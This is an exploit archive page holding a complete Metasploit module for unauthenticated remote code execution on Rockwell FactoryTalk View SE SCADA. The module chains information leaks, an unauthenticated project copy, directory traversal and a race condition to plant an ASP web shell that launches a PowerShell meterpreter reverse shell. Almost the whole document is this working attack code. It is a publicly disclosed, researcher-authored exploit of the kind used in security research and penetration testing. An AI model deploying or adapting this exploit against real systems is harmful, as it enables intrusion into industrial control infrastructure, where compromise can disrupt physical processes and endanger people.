exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution

Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution
Posted Nov 20, 2020
Authored by Pedro Ribeiro, Radek Domanski | Site metasploit.com

This Metasploit module exploits a series of vulnerabilities to achieve unauthenticated remote code execution on the Rockwell FactoryTalk View SE SCADA product as the IIS user. The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request, the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all targets, two information leak vulnerabilities are also abused. This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category.

tags | exploit, remote, vulnerability, code execution
advisories | CVE-2020-12027, CVE-2020-12028, CVE-2020-12029
SHA-256 | b5c77494a3939a1827cb333698735a7315890ad559b41cca1a66fcbd96bc0b9e

Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution
on the Rockwell FactoryTalk View SE SCADA product as the IIS user.
The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request,
the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all
targets, two information leak vulnerabilities are also abused.
This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'],
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'],
[ 'CVE', '2020-12027'],
[ 'CVE', '2020-12028'],
[ 'CVE', '2020-12029'],
[ 'ZDI', '20-727'],
[ 'ZDI', '20-728'],
[ 'ZDI', '20-729'],
[ 'ZDI', '20-730'],
],
'Privileged' => false,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Payload' => {
'DefaultOptions' =>
{
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
}
},
'DefaultOptions' => { 'WfsDelay' => 20 },
'Targets' =>
[
[ 'Rockwell Automation FactoryTalk SE', {} ]
],
'DisclosureDate' => '2020-06-22',
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']),
OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]),
OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/'])
]
)

register_advanced_options(
[
OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]),
]
)
end

def send_to_factory(path)
send_request_cgi({
'uri' => normalize_uri(target_uri, path),
'method' => 'GET'
})
end

def check
res = send_to_factory('/hmi_isapi.dll')
return Exploit::CheckCode::Safe unless res && res.code == 200

# Parse version from response body
# Example: Version 11.00.00.230
version = res.body.scan(/Version ([0-9\.]{5,})/).flatten.first.to_s.split('.')

# Is returned version sound?
unless version.empty?
if version.length != 4
return Exploit::CheckCode::Detected
end

print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}")
if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230
# we know this exact version is vulnerable (11.00.00.230)
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown
end

def on_request_uri(cli, request)
if request.uri.include?(@shelly)
print_good("#{peer} - Target connected, sending payload")
psh = cmd_psh_payload(
payload.encoded,
payload.arch.first
# without comspec it seems to fail, so keep it this way
# remove_comspec: true
)
# add double quotes for classic ASP escaping
psh.gsub!('"', '""')

# NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell
# This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore...
# If this module is not working on an older Windows version, try the below as payload:
# payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe)
payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>}
send_response(cli, payload)
# payload file is deleted automatically by the server once we win the race!

elsif request.uri.include?(@proj_name)
# Directory traversal: vulnerable asp file will land in the path we provide
print_good("#{peer} - Target connected, sending file path with dir traversal")
# Check the comments in the Infoleak 2 (project installation path) to understand why
filename = "../SE/HMI Projects/#{@shelly}"
send_response(cli, filename)
end
end

def exploit
# Infoleak 1 (project listing)
print_status("#{peer} - Listing projects on the server")
res = send_to_factory('/hmi_isapi.dll?GetHMIProjects')

fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless
res && res.code == 200 && res.body.include?('HMIProject')

print_status("#{peer} - Received list of projects from the server")
@proj_name = nil
proj_path = ''
xml = res.get_xml_document

# Parse XML project list and check each project for installation project path
xml.search('HMIProject').each do |project|
# Infoleak 2 (project installation path)
# In the original exploit, we used this to calculate the directory traversal path, but
# Google says the path is the same for all versions since at least 2007.
# Let's still abuse it to check if the project is valid.
url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}"
res = send_to_factory(url)

proj_path = res.body.strip

# Check if response contains :\ that indicates a windows path
next unless proj_path.include?(':\\')

print_status("#{peer} - Found project path: #{proj_path}")

# We only need first hit so we can quit the project parsing once we get it
if project.attributes['Name']
@proj_name = project.attributes['Name']
break
end
end

if !@proj_name
fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...')
end

shell_path = proj_path.sub(@proj_name, '').strip
print_good("#{peer} - Got a path to drop our shell: #{shell_path}")

# Start http server for project copy callback
http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
print_status("#{peer} - Starting up our web service on #{http_service} ...")

start_service({ 'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
# This path has to be capitalized as "RSViewSE" or else the exploit will fail!
'Path' => '/RSViewSE/'
} })

# Race Condition
# This is the racer thread. It will continuously access our asp file until it gets executed
print_status("#{peer} - Starting racer thread, let's win this race condition!")
@shelly = "#{rand_text_alpha(5..10)}.asp"
racer = Thread.new do
loop do
res = send_to_factory("/#{@shelly}")
if res.code == 200
print_good("#{peer} - We've won the race condition, shell incoming!")
break
end
end
end

# Project Copy Request: target will connect to us to obtain project information.
print_status("#{peer} - Initiating project copy request...")
url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1"
res = send_to_factory(url)

# wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish
count = 0
while count < datastore['SLEEP_RACER']
break if racer.status == false

sleep(1)
count += 1
end
racer.exit
end
end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close